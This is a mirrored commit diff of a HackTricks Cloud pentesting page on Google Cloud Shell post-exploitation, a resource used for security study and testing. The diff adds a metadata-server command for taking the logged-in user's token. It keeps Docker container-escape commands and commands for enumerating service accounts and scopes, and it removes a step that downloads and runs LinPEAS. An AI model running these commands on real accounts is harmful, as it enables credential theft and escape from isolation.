gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-12 07:40:49 -08:00
Code Issues Packages Projects Releases Wiki Activity

f

Browse Source
This commit is contained in:
carlospolop
2025-12-08 12:32:15 +01:00
parent 9eb7c3bdb7
commit b0aba5fc28
1 changed files with 15 additions and 28 deletions
Download Patch File Download Diff File Expand all files Collapse all files

43
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
View File

@@ -10,13 +10,23 @@ For more information about Cloud Shell check:
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Obtains users token from metadata
Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:
Just accessing the metadata server you can obtain a token to access as the currently logged on user:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Previously the cloud shell run in a container with access to the docker socket of the host. Now Google has changed the architecture and the cloud shell container runs a "Docker in a container" setup. So even if it's possible to use docker from the cloud shell, you won't be able to escape to the host using the docker socket.
> Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Old container escape commands</summary>
```bash
sudo docker -H unix:///run/docker.sock pull alpine:latest
@@ -25,17 +35,13 @@ sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
</details>
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
Moreover, notice that from the host you can find a service account token:
Moreover, in the past it was possible to find a token for a service account used by the cloud shell VM in the metadata server:
<details>
<summary>Get service account from metadata</summary>
<summary>Old service account from metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
@@ -43,13 +49,8 @@ default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
With the following scopes:
<details>
<summary>Get service account scopes</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -61,21 +62,7 @@ https://www.googleapis.com/auth/monitoring.write
</details>
Enumerate metadata with LinPEAS:
<details>
<summary>Enumerate metadata with LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
### Use it as Proxy